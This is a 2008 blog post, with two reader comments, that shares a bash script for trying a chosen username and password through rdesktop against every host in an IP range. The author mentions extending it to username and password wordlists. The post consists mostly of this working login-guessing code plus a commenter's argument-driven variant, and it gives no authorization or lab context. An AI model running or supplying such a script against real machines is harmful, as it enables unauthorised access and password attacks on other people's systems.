Thursday, March 6, 2008

Shell Script - rdesktop.sh (updated)

Ok. I have made some major changes to my rdesktop.sh script. I was looking at it and said to myself 'why the crap did I do that'. ha It is much faster now as it doesn't check to see if the remote host is running remote desktop. I just let it assume that it is. It will fail and then move on faster than if a check is done to see if its running the service. I also made it a bit more interactive as you can change the username AND password for each instance you run the script. That makes it so you can run multiple username & password combos against a host (I think I may write a script to take input from a username file and a password file to make it even more dynamic).



rdesktop.sh (updated)


#! /bin/bash

clear
echo "------------------------------------------------------------"
echo "This Will ATTEMPT To Log Into Machines Running Remote"
echo "Desktop With Username And Password Of Your Choice"
echo "------------------------------------------------------------"
sleep 4
clear

echo "-----------------------------"
echo "Enter First 3 Octets (x.x.x):"
read ipthree
echo "-----------------------------"
echo "Enter 4th Octet FIRST IP:"
read ipfirst
echo "-----------------------------"
echo "Enter 4th Octet ENDING IP:"
read iplast
echo "-----------------------------"
sleep 1
clear

echo "------------------------------------------"
echo "Enter The Username To Try: (Administrator)"
read usern
echo "------------------------------------------"
echo "Enter The Password To Try:"
read passn
echo "------------------------------------------"
sleep 1
clear

iprange=`echo $ipthree | cut -d. -f1-3`
# Use If First IP Range Is Giving Trouble - CAUTION, May Give Unwanted Results If 'ipthree' Is Fatfingered
#iprange=`echo $ipthree`

for (( i = $ipfirst ; i <= $iplast ; i++ ))
do

echo "Trying $iprange.$i...."
rdesktop -k en-us -a 16 -u $usern -p "$passn" $iprange.$i
clear

done

2 comments:

Hyrum said...

For kicks how about this?

#! /bin/bash

if [ "$1" = "-h" ]; then
echo "This program is used to attempt to log into rdesktop accounts with"
echo -e "the given username and password\n"
echo -e "Usage: 192.168.0.1 - 255 -u [username] -p \"[password]\" \n"
echo -e "***Note: pay attention to spaces ***\n"
exit
fi

network=`echo $1|cut -d . -f1-3`
start=`echo $1|cut -d. -f4`

for (( i = "$start" ; i <= "$3" ; i++ ))
do

echo "Trying $network.$i...."
#-u username -p "passwd"
rdesktop -k en-us -a 16 $4 $5 $6 "$7" $network.$i
clear

done

Hyrum said...

use -h for help.

Remember, the usage for this program is as follows:

"Usage: 192.168.0.1 - 255 -u [username] -p "[password]"